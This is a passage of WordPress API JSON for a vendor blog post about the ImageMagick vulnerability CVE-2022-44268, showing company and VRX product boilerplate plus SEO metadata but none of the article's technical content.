range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.\n<br><br>\nThrough an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.<\/p><\/div><\/div>\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t\n\t\t<div data-elementor-type=\"page\" data-elementor-id=\"39690\" class=\"elementor elementor-39690\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-ff2a228 elementor-widget elementor-widget-text-editor\" data-id=\"ff2a228\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t\t\t\t\t\t<p><\/p>\n<p class=\"wp-block-paragraph\"><b>About VRX<\/b><br><b>VRX&nbsp;<\/b>is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Introduction Arbitrary Remote Leak in ImageMagick 7.1.0 [&hellip;]<\/p>\n","protected":false},"author":148637484,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_wpcom_ai_launchpad_first_post":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[476,1075,61],"tags":[477,1076],"class_list":["post-64035","post","type-post","status-publish","format-standard","hentry","category-vrx","category-year2023","category-press-release","tag-vrx","tag-1076"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\" \/>\n<meta property=\"og:locale\" content=\"zh_HK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2\" \/>\n<meta property=\"og:description\" content=\"Introduction Arbitrary Remote Leak in ImageMagick 7.1.0 [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\" \/>\n<meta property=\"og:site_name\" content=\"Version 2\" \/>\n<meta property=\"article:published_time\" content=\"2023-02-27T06:18:13+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-09-13T08:31:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max\" \/>\n<meta name=\"author\" content=\"versionpan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"versionpan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9810\u8a08\u95b1\u8b80\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"24 \u5206\u9418\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/02\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\\\/\"},\"author\":{\"name\":\"versionpan\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/103ffe36f7fd34a1cc126a30431b94d8\"},\"headline\":\"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick\",\"datePublished\":\"2023-02-27T06:18:13+00:00\",\"dateModified\":\"2024-09-13T08:31:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/02\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\\\/\"},\"wordCount\":2198,\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max\",\"keywords\":[\"vRx\",\"2023\"],\"articleSection\":[\"vRx\",\"2023\",\"Press Release\"],\"inLanguage\":\"zh-HK\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/02\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\\\/\",\"url\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\",\"name\":\"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max\",\"datePublished\":\"2023-02-27T06:18:13+00:00\",\"dateModified\":\"2024-09-13T08:31:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#breadcrumb\"},\"inLanguage\":\"zh-HK\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage\",\"url\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max\",\"contentUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/version-2.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"name\":\"Version 2\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/version-2.com\\\/zh\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-HK\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\",\"name\":\"Version 2\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"width\":1795,\"height\":335,\"caption\":\"Version 2\"},\"image\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/103ffe36f7fd34a1cc126a30431b94d8\",\"name\":\"versionpan\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-HK\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g\",\"caption\":\"versionpan\"},\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/author\\\/versionpan\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick","og_locale":"zh_HK","og_type":"article","og_title":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2","og_description":"Introduction Arbitrary Remote Leak in ImageMagick 7.1.0 [&hellip;]","og_url":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick","og_site_name":"Version 2","article_published_time":"2023-02-27T06:18:13+00:00","article_modified_time":"2024-09-13T08:31:27+00:00","og_image":[{"url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max","type":"","width":"","height":""}],"author":"versionpan","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"versionpan","\u9810\u8a08\u95b1\u8b80\u6642\u9593":"24 \u5206\u9418"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#article","isPartOf":{"@id":"https:\/\/version-2.com\/2023\/02\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\/"},"author":{"name":"versionpan","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/103ffe36f7fd34a1cc126a30431b94d8"},"headline":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick","datePublished":"2023-02-27T06:18:13+00:00","dateModified":"2024-09-13T08:31:27+00:00","mainEntityOfPage":{"@id":"https:\/\/version-2.com\/2023\/02\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\/"},"wordCount":2198,"publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max","keywords":["vRx","2023"],"articleSection":["vRx","2023","Press Release"],"inLanguage":"zh-HK"},{"@type":"WebPage","@id":"https:\/\/version-2.com\/2023\/02\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\/","url":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick","name":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick - Version 2","isPartOf":{"@id":"https:\/\/version-2.com\/zh\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max","datePublished":"2023-02-27T06:18:13+00:00","dateModified":"2024-09-13T08:31:27+00:00","breadcrumb":{"@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#breadcrumb"},"inLanguage":"zh-HK","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick"]}]},{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#primaryimage","url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max","contentUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?tr=w-1800,c-at_max"},{"@type":"BreadcrumbList","@id":"https:\/\/www.vicarius.io\/blog\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/version-2.com\/"},{"@type":"ListItem","position":2,"name":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick"}]},{"@type":"WebSite","@id":"https:\/\/version-2.com\/zh\/#website","url":"https:\/\/version-2.com\/zh\/","name":"Version 2","description":"","publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/version-2.com\/zh\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-HK"},{"@type":"Organization","@id":"https:\/\/version-2.com\/zh\/#organization","name":"Version 2","url":"https:\/\/version-2.com\/zh\/","logo":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","contentUrl":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","width":1795,"height":335,"caption":"Version 2"},"image":{"@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/103ffe36f7fd34a1cc126a30431b94d8","name":"versionpan","image":{"@type":"ImageObject","inLanguage":"zh-HK","@id":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/72541e15024f6716236decb252e7488d4a7359d4df6f8506b01f447174f92c7c?s=96&d=identicon&r=g","caption":"versionpan"},"url":"https:\/\/version-2.com\/zh\/author\/versionpan\/"}]}},"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbQRKm-gEP","jetpack_featured_media_url":"","post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/64035","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/users\/148637484"}],"replies":[{"embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/comments?post=64035"}],"version-history":[{"count":12,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/64035\/revisions"}],"predecessor-version":[{"id":69402,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/posts\/64035\/revisions\/69402"}],"wp:attachment":[{"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/media?parent=64035"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/categories?post=64035"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/version-2.com\/zh\/wp-json\/wp\/v2\/tags?post=64035"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}